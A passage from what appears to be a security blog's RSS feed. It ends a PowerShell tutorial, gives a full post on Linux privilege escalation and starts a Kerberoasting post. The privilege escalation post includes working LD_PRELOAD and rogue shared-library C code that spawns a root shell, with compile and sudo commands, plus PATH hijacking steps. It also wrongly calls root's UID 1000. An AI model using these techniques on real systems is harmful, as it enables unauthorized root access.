-replace,-join,-split When using double quote, it will expand variables inside string while single quote does not.</li></ul><pre>$str=&quot;Hello&quot;<br>$str1=&quot;Bye&quot;<br>&quot;Hey, $str&quot;<br>&#39;Hey, $str1&#39;</pre><ul><li>Logical: -and, -or,-xor,-not</li><li>Type: 3-is &quot;int&quot; (you may use &quot;float&quot;,&quot;string&quot;) to check for types. Other operators -&gt; isnot, as (as is used for reassigning type/typecasting) Variable assessment:</li></ul><pre>$a = 3.2+3<br>$a.gettype<br>$axobj = 1,2,3,4,5 #declaring array<br>$axobj[0]</pre><ul><li>Conditional operators: if,elseif,else</li></ul><pre>if ( ((Get-Process).Count) -gt 40) {&quot;More than 40 processes&quot;} else {&quot;40 or less processes&quot;}</pre><ul><li>switch (supports operators like wildcard,regex and exact)</li></ul><pre>switch(1) {1 {&quot;ONE&quot;}} 2 {&quot;Two&quot;}}<br>switch -wildcard (&#39;abc&#39;) {ab* {&quot;Yep&quot;} bcdefg {&quot;Nope&quot;}}</pre><ul><li><strong>Loops:</strong> <br>While loop</li></ul><pre>$count=3<br>while ($count -ge 0)<br>{ <br> &quot;&gt;&gt; $count&quot;<br> $count - <br>}</pre><ul><li>For Loop</li></ul><pre>$processes=Get-Process<br>foreach($i in $processes)<br>{<br>$i.Name<br>}<br>​<br>Get-Process | Foreach-Object {$_.name}</pre><h3>2. Functions, Advanced Functions and Cmdlets</h3><p>Let us take a glance at the basics of powershell functions.</p><p>The powershell function definitions are pretty straightforward, and we can define switchable and multi-variable argument functions as well. The call site, or how the functions are called can take a bit of getting used to.</p><h3>2.1 Functions</h3><p>Defining a function that takes no arguments, and returns the sum of 2 numbers.</p><pre>function add {1+2}<br>add</pre><p>Defining a function that take two arguments and writes the output. Note how the function is called, the arguments are not enclosed within a parentheses but separated by space. Being a parsed and interpreted language, the powershell treats parentheses as a control structure. Parentheses when put next to a function are treated as an array foo (1,2) is treated as an array being parsed to foo function with 2 elements in it.</p><pre>function foo ($n1,$n2) {$n3=$n1+$n2<br>Write-Output $n3}<br>foo -n1 10 -n2 20<br>foo 30 40 // this works as well</pre><p><strong>Variable args</strong></p><pre>&gt; function vararg($n1,$n2) { $n1, $n2, $args}<br> &gt; vararg &quot;Wubba&quot; &quot;Lubba&quot; &quot;dub&quot; &quot;Dub&quot;</pre><p><strong>A note on Execution Policy</strong>: A policy to prevent users from accidentally executing powershell scripts. It is <strong>not a security feature</strong>. Microsoft states it and also on the cmdline help. It can be easily disabled. Restricted is the default execution policy , and it can have other values.</p><h4>Advanced Functions</h4><p>More on advanced function parameters can be found <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_functions_advanced_parameters?view=powershell-7.3">here</a> .</p><p><strong>Switchable</strong></p><p>These don’t convey any parameter value. The value they convey to the functions is through their presence. If they are present, they convey a boolean value of true, and false otherwise.</p><pre>function switchy ($n1,$n2,[switch]$on)<br>{<br>$c=$n1 + $n2<br>if ($on){$n1*$n2}<br>else { &quot;$c&quot;}}<br>}</pre><pre>PS C:\Users\Administrator&gt; switchy 20 21<br>41<br>PS C:\Users\Administrator&gt; switchy 20 21 -on<br>420</pre><p><strong>Making arguments mandatory</strong></p><pre>function fooBar {<br>​<br>    param (<br>    [Parameter (Mandatory =$True)]<br>    $n1,<br>    [Parameter ()]<br>     $n2<br>     )<br>     Write-Output &quot;$n1&quot;<br>     Write-Output &quot;$n2&quot;<br>​<br>}</pre><p>To execute a script, first load it using . .\{name-of-file}.ps1 and then execute the function fooBar</p><p><strong>Redefining positions</strong> You can make position assignment (only valid where arguments supplied are unnamed) fooBar 1 2. If you specify name using -n1 1 -n2 2, the position won&#39;t matter.</p><pre>function fooBar {<br>​<br>    param (<br>    [Parameter (Mandatory =$True, Position=2)]<br>    $n1,<br>    [Parameter (Position=1)]<br>     $n2<br>     )<br>     Write-Output &quot;$n1&quot;<br>     Write-Output &quot;$n2&quot;<br>​<br>}</pre><p><strong>Pipelining arguments</strong></p><p>We can supply arguments to our function using pipeline command. This will ensure that the commands are taken from the pipeline. If not named, we can only supply 1 argument at a time. The argument supplied by pipeline is appended to the end of your other arguments. Take a look at the function below.</p><pre>function fooBar {<br>​<br>    param ([Parameter (Mandatory =$True, ValueFromPipeline=$True)] $n1, [Parameter (ValueFromPipeline=$True)] $n2)<br>     Write-Output &quot;$n1&quot;<br>     Write-Output &quot;$n2&quot;<br>}</pre><p><strong>Output</strong>:</p><pre>​<br>PS &gt; 30  | fooBar 34<br>34<br>30<br>​<br>PS&gt; 30  | fooBar -n2 34<br>30<br>34<br>​</pre><p><strong>‘Overloading’ Functions</strong></p><p>Powershell sorta lets you overload functions (loosely, if we’re going by strict definition you can’t). The definition of function overloading is having ‘same’ function names with different parameter sets.</p><p>You can put Param n1 and n2 in different parameter sets , and they will be treated differently. Note that even though n1 is mandatory, it is not prompted as n2 is in a different parameter set now</p><pre>function fooBar {<br>​<br>    param ([Parameter (Mandatory =$True, ValueFromPipeline=$True, ParameterSetName=&quot;Set1&quot;)] $n1, [Parameter (ValueFromPipeline=$True, ParameterSetName=&quot;Set2&quot;)] $n2)<br>     Write-Output &quot;$n1&quot;<br>     Write-Output &quot;$n2&quot;<br>}</pre><p><strong>Output</strong>:</p><pre>PS :&gt; fooBar -n2 32<br>​<br>32</pre><p><strong>Another example (taken from </strong><a href="https://stackoverflow.com/questions/3940722/function-overloading-in-powershell"><strong>stackoverflow</strong></a><strong>)</strong></p><pre># advanced function with 3 parameter sets<br>function Backup-UsersData<br>(<br>    [Parameter(Position=0, ParameterSetName=&quot;user&quot;)]<br>    [string]$user,<br>    [Parameter(Position=0, ParameterSetName=&quot;array&quot;)]<br>    [object[]]$array,<br>    [Parameter(Position=0, ParameterSetName=&quot;all&quot;)]<br>    [switch]$all<br>)<br>{<br>    # use this to get the parameter set name<br>    $PSCmdlet.ParameterSetName<br>}</pre><p><strong>Output</strong></p><pre># test<br>Backup-UsersData -user &#39;John&#39;<br>Backup-UsersData 1, 2<br>Backup-UsersData -all</pre><h4>1.2 Cmdlets and Cmdlet Binding</h4><p>Cmdlets are like shorter version of commands used within the powershell environment. They return a .net object and partake in the pipeline design of the language and pass the object to the next cmdlet in the pipeline.</p><p>The CmdletBinding attribute turns the vanilla PowerShell functions into advanced functions. The major changes from the vanilla functions include:</p><ul><li>Using $PSCmdlet automatic variable within function but $Args can no longer be used</li><li>Unknown parameters will not be supported</li><li>Pipeline processing “|” operator support (.NET object returned)</li></ul><p>Creating custom cmdlet can be useful as it can grant access to certain extra functions. As a best practice we should name our functions in the cmdlet naming conventions like the ones we have been using so far. We can bind certain cmdlets which can give access to certain functions and features. One example being the <em>SupportsShouldProcess</em>, which allows us to understand what the program will do if run when supplied with the -WhatIf Parameter and the -Confirm parameter</p><p>Note that the cmdlet binding must happen before the parameter definition</p><pre>function RemovePath-Custom<br>{<br>[CmdletBinding(SupportsShouldProcess= $True)]<br>param([Parameter()] $FilePath)<br>Write-Verbose &quot;Deleting $FilePath&quot;<br>Remove-Item $FilePath<br>}</pre><p>We can now use the -WhatIf parameter with the cmdlet we created which will let us know what the outcome of running our script will be.</p><pre>RemovePath-Custom -WhatIf .\text.txt<br>What if: Performing the operation &quot;Remove File&quot; on target &quot;C:\Users\sample1\text.txt&quot;.</pre><h4>Coding an utility</h4><p>Using our knowledge so far, we can program a utility. The utility below does have components which require some knowledge of AD infrastructure.</p><p><strong>Sample Code to search for a Hotfix/patch in a workstation in an AD environment</strong></p><p>The code checks for Computers in the active directory which have a logon in the last 90 days and then uses it to query it for hotfix. In a newer system, the absence of a hotfix doesn’t mean a vulnerability, it just means that the patch was rolled out with a major OS update instead of being a hotfix.</p><ul><li>The code defines a cutoff Date by subtracting 90 days from the current date. This value is later stored in a filter string which will be used with the cmdlet Get-ADComputer</li><li>Get-ADComputer supplies the filter string, and looks for 3 values (OS, Description, Lastlogondate) and pipes it to a SELECT command. The select command pipes it to a For-Each Loop. Note that <strong>$_</strong> is used to refer to a variable in the pipeline. The For-Each returns the name of the computer and stores it in $computerNames</li><li>A for loop checks these computer names and queries them for the HotFix with a hot fix ID</li><li>A try catch is required, as these computers might be offline (In the AD environment, a way to check that is to see if the RPC-Server is available on that workstation).</li></ul><pre>function CheckPatch<br>{<br>$cutoff = (Get-Date).AddDays(-90)<br>​<br>$filter = &quot;LastLogonDate -gt &#39;$cutoff&#39;&quot;<br>​<br>$computerNames = Get-ADComputer -Filter $filter -Properties OperatingSystem,Description,LastLogonDate |<br>    Select Name,OperatingSystem,Description,LastLogonDate | Foreach-Object {$_.Name}<br>foreach ($i in $computerNames)<br>{<br> <br> try {<br>    $value =   Get-HotFix -ComputerName $i | Where-Object -Property HotfixID -EQ &quot;KB2871997&quot;<br>    if ($value)<br>        {<br>            Write-Output &quot;Hotfix found on $i&quot;<br>        }<br>        #$ErrorActionPreference = &quot;Stop&quot;; #Make all errors terminating<br>     else<br>     {<br>        Write-Output &quot;Hotfix not installed for $i&quot;<br>     }<br>    } <br> catch{<br>        Write-Host &quot;RPC server unavailable for Workstation $i&quot;;<br>        Write-Host $Error[0].Exception;<br>    }<br>}<br>}</pre><h3>Modules</h3><p>Microsoft documentation on powershell defines it as “<em>A module is a package that contains PowerShell members, such as cmdlets, providers, functions, workflows, variables, and aliases. People who write commands can use modules to organize their commands and share them with others. People who receive modules can add the commands in the modules to their PowerShell sessions and use them just like the built-in commands.</em>”</p><p>Like the familiar language python, powershell modules need to be <strong>installed</strong> (if not already or default) before they can be imported and used. In the later versions (3.0 onwards) of powershell, once the module is installed in the default module path, powershell will implicitly import the installed module when used. (At the time of me writing this blog, Win 11 uses Powershell version 5.1.x).</p><p><strong>Importing Modules</strong></p><p>You can write and import your own modules and libraries. Powershell modules have .psm1 extensions. You can copy a ps1 file to a psm1 file to make it behave like a module.</p><pre>Get-Module -ListAvailable -All</pre><p><em>From PSv3 onwards if a module sits in the env: PSModulePath directory there is no need to import that module, it gets auto imported</em></p><pre>Import-Module {ModuleName}<br>Import-Module {Script-path}.psm1</pre><p>You can see the commands available for a module by</p><pre>Get-Command -Module {ModuleName or Path}</pre><p>The above command shows output based on env variable so that might not show</p><p>You can change the PSModulePath variable to something where your custom modules are stored. This method however, would <strong>only persist in the current session</strong>. To make it permanent, change the environment variable via the control panel.</p><pre>$env:PSModulePath= $env:PSModulePath+&quot;;{Path to your ps1 script}&quot;</pre><p>After specifying the path where to look for modules above, you can import your scripts in that directory by just specifying the name instead of the previously required full path. <strong>The module must be inside a parent folder with the same name as the Module file (psm) </strong>if you are using the Module name for the import function to work , or else powershell would not be able to find it</p><p><strong>Deciding functions to be exported</strong></p><p>By default all modules are exported, but that can be changed by adding this to the end of our module file which is covered in the subsequent section.</p><p>We can use the function. Once specified, the wildcard expression will determine which functions will be exported . The ones not matching the expression will not be exported and will <strong>not be available</strong> for use by the user after the module has been imported.</p><pre>Export-ModuleMember -Function *-*</pre><h3>Manifest</h3><p>This is used to fill in metadata information and called manifest modules. From the microsoft documentation,<em>”A module manifest is a PowerShell data file (.psd1) that describes the contents of a module and determines how a module is processed. The manifest file is a text file that contains a hash table of keys and values. You link a manifest file to a module by naming the manifest the same as the module, and storing the manifest in the module’s root directory.”</em></p><p>We create a module by using the command. In earlier versions of powershell, some of these parameters could only be supplied via cmdlet argument prompts. In newer versions, we may supply them via cmdline args as well.</p><pre>New-ModuleManifest .\ManifestForModule.psd1 -Author ysingh -CompanyName EVILCORP -ModuleToProcess .\ModuleFile.psm1</pre><p>The above command will create a Manifest file for the Module file supplied by the -ModuleToProcess argument, if there is no module file or you make a typo in the module name , the manifest file will still be created, but the function names and some other details will be left blank. You can test your manifest.</p><pre>Test-ModuleManifest {name of module file (psd1)}</pre><p>Make sure that your module manifest is located in the top level of the directory that contains your module.</p><p>The Manifest file also allows you to place multiple modules (.psm) files under 1 directory and have them be loaded by the Manifest File. There are other things, such as Nested Modules you can add and ask them to be processed. One thing to note here is that, <strong>if your root module has a different name than the folder , make sure you edit the Manifest file to reflect that</strong></p><p>You can read more about how to write a manifest file <a href="https://learn.microsoft.com/en-us/previous-versions//dd878297">here</a>. <strong>TLDR; Manifest files allows you to provide more structure to your module and control over how it is processed.</strong></p><h3>Jobs</h3><p>Powershell interactions to setup , create and monitor jobs which can run in the background. Jobs are based on the powershell computing infrastructure. There are several ways in which this can be achieved.</p><pre>1. Invoke-Command[3] -scriptblock { codeblock/Filename }  -asJob -computername localhost<br>2. Start-Job[2] -scriptblock { code }<br>3. Start-Process[1] powershell {script}</pre><p><strong>Invoke-Command</strong> starts a new session with the running job. So once this command is used , the current session won’t be able to access it. There are ways to do it, and this is covered later.</p><p><strong>Start-Process</strong> You must redirect the standard output to a file[1].</p><p><strong>Start-Job</strong> This creates a new job in the background on a new powershell instance</p><p>We are going to be focussing on the new job being run as a background in a new powershell instance.</p><h4>Basics of Start-Job</h4><p><strong>Starting one</strong></p><pre>Start-Job -ScriptBlock {whoami}<br>Start-Job -FilePath script.ps1</pre><p><strong>See jobs</strong></p><p>You may pipe the job to a Receive-Job to see the output. If you just run without parameters, Get-Job returns all jobs and a tabular output for all the jobs.</p><pre>Get-Job | Receive-Job</pre><p><strong>Remove</strong></p><pre>Get-Job | Remove-job</pre><p>You may fetch jobs by the id as well</p><pre>Get-Job -id 4</pre><h4>Remote Jobs</h4><p>Jobs can be started on remote machines as well.</p><p>Some examples to start jobs on remote as well as local machines are shown below</p><p>One of the ways to do this is to use the As-Job parameter when invoking commands.</p><p><strong>Invoke-Command</strong></p><pre>Invoke-Command -Scriptblock {ps} -ComputerName EXC01-ELLIOT -Credential evilcorp\dsinatra</pre><p>We can start a job using invoke-command, but as mentioned earlier run by Invoke-Command are stateless (run in a new powershell session). So if we start a job , say using the command below, it will be started on the remote pc, but it won’t show in a subsequent Get-Job as the 2 commands will be in different context</p><pre>Invoke-Command -ScriptBlock {Start-Job -ScriptBlock{ps}} -Credential evilcorp\dsinatr</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kFYl5o1zem_jk5gch9D1rQ.png" /></figure><p>2nd command in the image above, will return empty as the 2 Invoke-commands don’t share any context and are stateless.</p><p><strong>Sessions</strong></p><p>So we can use the New-PSSession to have states saved. So we can pass the same session in the 2 commands above, and get a response on the running job. Using session we can now track jobs in the same session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2Lj7X_FkntZG5eOk0dqSg.png" /><figcaption>Sessions enable us to track jobs across different powershell instances</figcaption></figure><p><strong><em>As-Job</em> parameter</strong></p><p>We can do the same without using sessions, but using the <strong><em>-As-Job</em></strong> parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wq9vfNB7agNJFVI4yV_vNA.png" /><figcaption>An easier alternative to using sessions</figcaption></figure><h3>Resources</h3><p>Some great resources I recommend for learning more about powershell from a security standpoint (Besides the <a href="https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/01-getting-started?view=powershell-7.3">microsoft documentation</a>)</p><ul><li><a href="https://adamtheautomator.com/powershell-modules/#:~:text=First%20you%20need%20to%20create,not%20discover%20the%20module%20correctly.">Adam the automator</a> (one stop resource)</li><li>A nice youtube <a href="https://www.youtube.com/playlist?list=PLOFO7qQMeqjCYI8TA0Ho1CEjHKHpJQpHC">playlist </a>covering the basics</li><li>A youtube <a href="https://www.youtube.com/playlist?list=PLOFO7qQMeqjApWT2Zu8B7nARm-K4Zh5um">playlist </a>on powershell on AD</li><li><a href="https://www.youtube.com/@DonJonesConTech">@DonJonesConTech</a> on youtube</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=719ca5cb123a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Local Privilege escalation concepts — Linux]]></title>
            <link>https://the-dark-lord.medium.com/local-privilege-escalation-concepts-linux-57999c245076?source=rss-87b3b778a4a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/57999c245076</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[The Dark Lord]]></dc:creator>
            <pubDate>Tue, 24 Jan 2023 05:03:06 GMT</pubDate>
            <atom:updated>2023-01-25T15:59:05.104Z</atom:updated>
            <content:encoded><![CDATA[<h3>Local Privilege escalation concepts — Linux</h3><p><strong><em>What is a mob to a king? What is a king to a god?</em></strong></p><p>One thing all mortals share, is an incessant desire to go beyond what we are capable of — be it money, status or power. We all want to elevate ourselves, and sometimes will do whatever it takes to see it to fruition. Hackers are no different. Who has ever been happy with an account without sudo, an account bereft of all the riches the SYSTEM account bears?</p><p>In this blog, we will look at the adage of privilege escalation in the context of Linux systems.</p><h3>Overview</h3><p>Privilege escalation is one of the most lucrative targets to pursue after an account or workstation has been compromised. Privilege escalation can happen at a domain level , like in an AD environment or locally like on a workstation , from a user account to root account. Here we shall go through some of the basic privilege escalation techniques on a Linux machine.</p><p>This blog will be mostly going through some of the lowest hanging fruits when it comes to privilege escalation on a Linux system. I will enlist some theoretical concepts, I will if required, cover the application of these concepts in some other blog. I have listed some additional free resources where you can go and practice the application of these concepts. In a later blog, I will use a few of these techniques to escalate privileges on a challenge box.</p><h4>Concept: File Permission</h4><p>In Linux, the permissions are assigned on the basis of the ownership of the file or directory. The first 3 bits represent the owner permissions, the next 3 bits represent the group, and the next set of 3 bits represent everyone else . (3 bits are in order of read, write and execute).</p><pre>-rw-r-x---</pre><p>There is a 4th special bit, which we call sticky bit. Special permissions make up a fourth access level in addition to <strong>user</strong>, <strong>group</strong>, and <strong>other</strong>. Special permissions allow for additional privileges over the standard permission sets (as the name suggests).</p><h3>Concept: Process ids</h3><p>In Linux every process starts 3 ids associated with the user. <strong>Real user id (RUID), Effective User Id (EUID) and Set User Id (SUID)</strong>. Though we can explore the significance of each one of them in detail, for brevity, we would focus on the <strong>RUID</strong> and <strong>EUID</strong> here. The real user id of a process is the user id of the user that started the process. If a process started it , then the RUID from that process is inherited.</p><p>Most access control decisions in the Linux, is however based on <strong>EUID</strong> / or effective user id. The effective user id of a process differs from a RUID in certain situations, one of those when running an executable via SUDO . If a user starts a process using a sudo, then that process’s <strong>RUID</strong> will be the UID of the user, but the <strong>EUID</strong> will be the UID of root (1000)</p><h3>Privilege Escalation Techniques</h3><p>Let’s enumerate over some of the lower hanging fruits. We have got access on a Linux machine, and want to identify weaknesses in different areas which we can exploit to escalate privileges. In some cases, we might need to escalate privileges multiple times to get to the root access.</p><h3>Sudo -l</h3><p>Let us analyze what we got in the bag, by analyzing what our current user has access to. This command helps us understand the damage we can do with the current user privileges. This will list the commands which the current user can run as superuser on the machine. The most insecure of these settings is when we get the following output.</p><pre>ALL (NOPASSWD): ALL</pre><p>This means our current user can run all commands as root without even supplying the password. Any command which allows us to read or execute files, if allowed to be run as sudo, can be used to escalate/abuse privileges <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> is a valuable source for finding such executables.</p><h3>SUID executables</h3><p>These executables are like our best friends during our privilege escalation exercise. However, like our friends not all of them have the best solutions to our problems. SUID executables allow users to execute them as the user id the executable belongs to. There are certain commands in linux which require root privileges and are SUID to allow normal non-sudo users to execute them as root like ping. This is due to the nature of the privileged calls to the kernel they make, and due to common use, they need to be accessible to all users despite that.</p><p>Executing ping as root maybe harmless, but certain systems can have commands which have suid set by mistake for root, and can open up avenues for privilege escalation. If the <strong><em>find</em></strong> for eg has suid set, we can exploit it to read any file in the system or execute any command on it using the <strong>“-exec”</strong> flag</p><p>Enumerating such executables on the system which have suid set can be done by using</p><pre>find &quot;$DIRECTORY&quot; -perm /u=s,g=s</pre><p>Any command which allows us to read, write or execute on the filesystem and has the SUID bit set can help us further our initiative.</p><h3>Env variables and $PATH</h3><ul><li>Improper references to environment variables within SUID executables can lead to privilege escalation, as these are often controlled by the Real User , or the user executing the SUID due to being loaded from the user’s session (.bashrc or .bash_profile) . If the a path to SUID uses the environment variable to execute it like /usr/bin/env {executable} , you can abuse this by overriding the <strong>$PATH variable</strong>. (<em>For any command that isn&#39;t inbuilt to the terminal or that is not defined with a non-relative/absolute path, the OS will start searching in folders defined under PATH in left to right prcedence .</em>) Place an executable called echo in /tmp/ and export PATH=/tmp/:$PATH to make your executable get called instead of the actual executable.</li><li>This also holds true if the environment variable is being used by an SUID executable within any command as string. We could cause command injection by placing the value of an arbitrary command</li><li>Look for plausible environment variables in executables by using the strace command.</li></ul><h3>Cron Jobs</h3><ul><li>Cron jobs run automated jobs in linux and often used to manage upstart of services should they be downed, and run other hourly,daily,monthly or weekly checks. They can often be retired incorrectly by leaving the entry pointing to a no longer functioning executable. They can also be left pointing to a path which can be written by everyone, and should this be on the crontab of a superuser, it can be abused for privilege escalation.</li><li>One thing to note is that non-root user’s <strong>cannot view</strong> the user crontab aka use the crontab -u {anyuser} command , or the path at (var/spool/cron/crontabs). However, the <strong>systemwide crontabs can be read by any user</strong> , which resides at /etc/crontab</li><li>On examining -&gt; /etc/crontab you should search for directories for root user that you might have write access to, or if any of the executables use the environment variable which you control or relative path which can be tampered with directly or <strong>by abusing symbolic links.</strong></li></ul><h3>LD_PRELOAD</h3><p>In C, LD_PRELOAD is an environment variable used to change the path to a shared object file. This is used to load any library <strong>before</strong> any form of shared library is loaded in Linux. There are <strong>2</strong> important things to keep in mind using LD_PRELOAD for privilege escalation.</p><p>It does not work with executables in secure execution mode and where RUID and EUID <strong>are equal</strong>, hence <strong>SUID </strong>binaries cannot be exploited using this technique. However, an interesting bypass of this is if the SUID binary can be read or copied, we can use it to create a non-suid version of that executable by copying it.</p><p>The second requirement is that <strong>sudo -l</strong> must preserve this command i.e allow us to sudo this command.</p><pre>env_keep+=LD_PRELOAD</pre><p>What we are essentially targeting is our ability to substitute a genuine function with our own rogue function and have that execute instead of the original function instead.</p><p>Consider an executable which we can run using <strong>sudo</strong>, which just calls the <strong>ping</strong> function, which we can also run using sudo.</p><p>We will create a rogue C program (fake.c) like follows: (When an object is loaded init function is executed)</p><pre>void init()<br>{<br>    unsetenv(&quot;LD_PRELOAD&quot;);<br>    setgid(0);<br>    setuid(0);<br>    system(&quot;/bin/sh&quot;)<br>}</pre><p>Next we have this compiled as a library, for which we need to pass some flags so that it gets recognized by the calling executable as a library</p><pre>gcc -fpIC -shared -nostartfiles -o /tmp/preload.so fake.c</pre><p>Next, we set the LD_PRELOAD path to load the shared libraries for our function/executable of target</p><pre>sudo LD_PRELOAD=/tmp/preload.so {executable}</pre><p><strong>Note:</strong> In some cases, we can use it to overwrite select functions instead of init(). For eg, if there is a executable which just manually checks for username or id to grant access to a file, we could just overwrite the function checking this , and do the same technique to bypass it.</p><h3>Shared Libraries and LD_LIBRARY_PATH</h3><p>Shared libraries are a way for the OS to minimize loading functions multiple times for different processes and optimize memory usage. In windows, we know them by the term DLLs. Like DLL search order, which is often an attack vector for DLL injection, we have in Linux a variable called <strong>LD_LIBRARY_PATH</strong>.</p><p>On running an executable, the paths specified by LD_LIBRARY_PATH are searched in order. Not all of the shared libraries are required for running the executable (similar to DLLs). You can view this by stracing the executable. Other useful commands are <strong>ltrace and strings</strong>.</p><p>The paths where the shared libraries are being searched for will show up on strace with the message ENOENT (No such file or directory) alongside the name of the <strong>shared library</strong> . Next, we look for paths which we have write access to. Then we need to place a rogue library with the same name as the missing library and place it in the path where we have write access to.</p><p>For eg, if the library libso.6.so is being reffered to (and missing) in the strace and looked for in the <strong>/var/tmp/</strong> directory, we can escalate privileges by placing one there as usually every user has write access to that directory.</p><p>The syntax for doing so is a bit complex, and it would be very verbose to go into detail here. What is important that we override the __libc_start_main function and place arbitrary code there - in this case we place a shell spawn via system call</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;sys/syscall.h&gt;<br>#include &lt;unistd.h&gt;<br>void __cxa_finalize(void *d) {<br> return;<br>}<br>int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {<br> system(“/bin/sh”); //s<br> return 0;<br>}</pre><p>We can name the C file anything we want like test.c , but the output object file must match the name of the shared library we are trying to fake. Note that for this exploitation we often need a version file. we just need to find the GLIBC version and put this in that (depending on the version). If you’re unsure, use <strong>objdump</strong> on the target executable to find out the correct version.</p><pre>GLIBC_2.0 {};</pre><p>We then compile our shared library</p><pre>gcc -o /var/tmp/libc.so.6 -static-libgcc -shared -fPIC -Wl,--version-script=/path/to/versionfile test.c</pre><h3>Capabilities</h3><p>In linux, capabilities are a way to manage privileges at a more granular level. This used in many systems to selectively grant certain functions or executable access to a group or account.</p><p>We can use the getcap tool to list enabled capabilities of an executable. Since an unprivileged user will generate errors, you can direct it to null filestream. Certain executables which have been granted access via the capabilities option may be abused to read or write files and spawn root/privileged shells</p><h3>NFS Root Squash</h3><p>In a network file system, privileges work differently. A host linux machine who is serving the mounted filesystem is supposed to configure how remote users of other systems are granted privileges and access on the NFS. An improper configuration can lead to privilege abuse. A</p><p>The NFS configuration can be checked by reading the /etc/exports file. One dreadful error in configuring the NFS mounts is to set the &quot;no_root_squash&quot; option. By default a root user is &#39;squashed&#39; to &#39;nobody&#39; on an NFS share. However, if this is set on an NFS write share, a remote root (say on an adversary machine) can write to the NFS share as root.</p><p>We can create a rogue C program and compile it and set the SUID flag as root on our remote attacker machine after mounting the writeable NFS share. You can check or enumerate shares on the target machine by doing showmount and mount using , well , mount.</p><p>Once you have written to the target writeable mounted share from a machine you’re root on, you can execute it from the victim machine as a non-privileged user and since it is a suid binary , you can become root on the victim machine.</p><h3>Services and Searchsploit</h3><p>When all else fails, try testing what has been done before. Find vulnerabilities on the services running on the system or even the underlying operating system. netstat can be used to see running services on ports. You may also run nmap service scan on the local system</p><p>nmap -sV -Pn localhost will print the services and versions running on the current system. If there is a web service running, a good approach would be to look for command injection or remote file exclusion as the web service could be running as a more privileged user than the one we have access to, or be able to read or write certain files.</p><p>Alternatively, you can find vulnerabilities in the underlying kernel or operating system or services if they are running a vulnerable version . Searchsploit is a tool which we can use to search <strong>exploit-db</strong> via the commandline. Using uname -r command we can see the kernel version. Then we can search for exploits in exploit-db. On older kernels, we can find excellent-good level exploits which can be used to escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GkXBoQqrblYtoPMAzcK2Pw.png" /><figcaption>A sample searchsploit output shown below, for Kernel 2.6.x brings up the infamous DirtyCOW privilege escalation exploit.</figcaption></figure><h3>Tools and Resources</h3><p><strong>Practice Privilege escalation:</strong></p><ul><li><a href="https://tryhackme.com/room/linprivesc">https://tryhackme.com/room/linprivesc</a> (Linux Room for privilege escalation) Walks through a lot of the basics of the privilege escalation and practice your skills.</li><li><a href="https://exploit.education/nebula/">https://exploit.education/nebula/</a> : A set of more advanced challenges (level 4 onwards) which will help you hone your skills in Linux privilege escalation and OS basics along the way.</li></ul><p><strong>Supplement Materials</strong></p><ul><li><a href="https://www.amazon.com/Linux-Basics-Hackers-Networking-Scripting/dp/1593278551">Linux basic for hackers</a> (An all round amazing book for Linux)</li></ul><p><strong>Linux tools to make your life easier (Source TryHackMe) :</strong></p><ul><li><strong>LinPeas</strong>: <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS</a></li><li><strong>LinEnum:</strong> <a href="https://github.com/rebootuser/LinEnum">https://github.com/rebootuser/LinEnum</a></li><li><strong>LES (Linux Exploit Suggester):</strong> <a href="https://github.com/mzet-/linux-exploit-suggester">https://github.com/mzet-/linux-exploit-suggester</a></li><li><strong>Linux Smart Enumeration:</strong> <a href="https://github.com/diego-treitos/linux-smart-enumeration">https://github.com/diego-treitos/linux-smart-enumeration</a> (my favorite)</li><li><strong>Linux Priv Checker:</strong> <a href="https://github.com/linted/linuxprivchecker">https://github.com/linted/linuxprivchecker</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57999c245076" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberoasting]]></title>
            <link>https://the-dark-lord.medium.com/kerberoasting-500192c3a317?source=rss-87b3b778a4a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/500192c3a317</guid>
            <category><![CDATA[kerberoasting]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[kerberos]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[The Dark Lord]]></dc:creator>
            <pubDate>Sat, 24 Dec 2022 23:39:46 GMT</pubDate>
            <atom:updated>2022-12-25T03:58:22.478Z</atom:updated>
            <content:encoded><![CDATA[<p>In my last <a href="https://medium.com/@the-dark-lord/introduction-to-kerberos-3dc3e9e3c793">blog</a>, I explained what kerberos is and how it works within the AD context. In this blog, we will explore a post-exploitation technique targetted at AD environment’s kerberos authentication, called kerberoasting, and carry out this attack in a simplified home lab environment.</p><p>If you don’t want to setup the AD environment, you can use the TryHackMe lab setup <a href="https://tryhackme.com/room/attackingkerberos">https://tryhackme.com/room/attackingkerberos</a>. I will include it in the additional resources section at the bottom of this blog as well.</p><h3>Concept</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*ED2w1WVZYDXSaWZmk2KtCQ.png" /><figcaption>Kerberos Authentication, Courtesy: <a href="https://software.intel.com/">https://software.intel.com</a></figcaption></figure><p>Kerberoasting is an attack where the attacker harvests Kerberos TGS ticket , which is encrypted with the service encryption key (<strong>Step-4</strong>) or <strong>KRB_TGS_REP</strong>.</p><p>It is a post-exploitation attack, as it requires the adversary to already possess a compromised domain account, and the attacker is 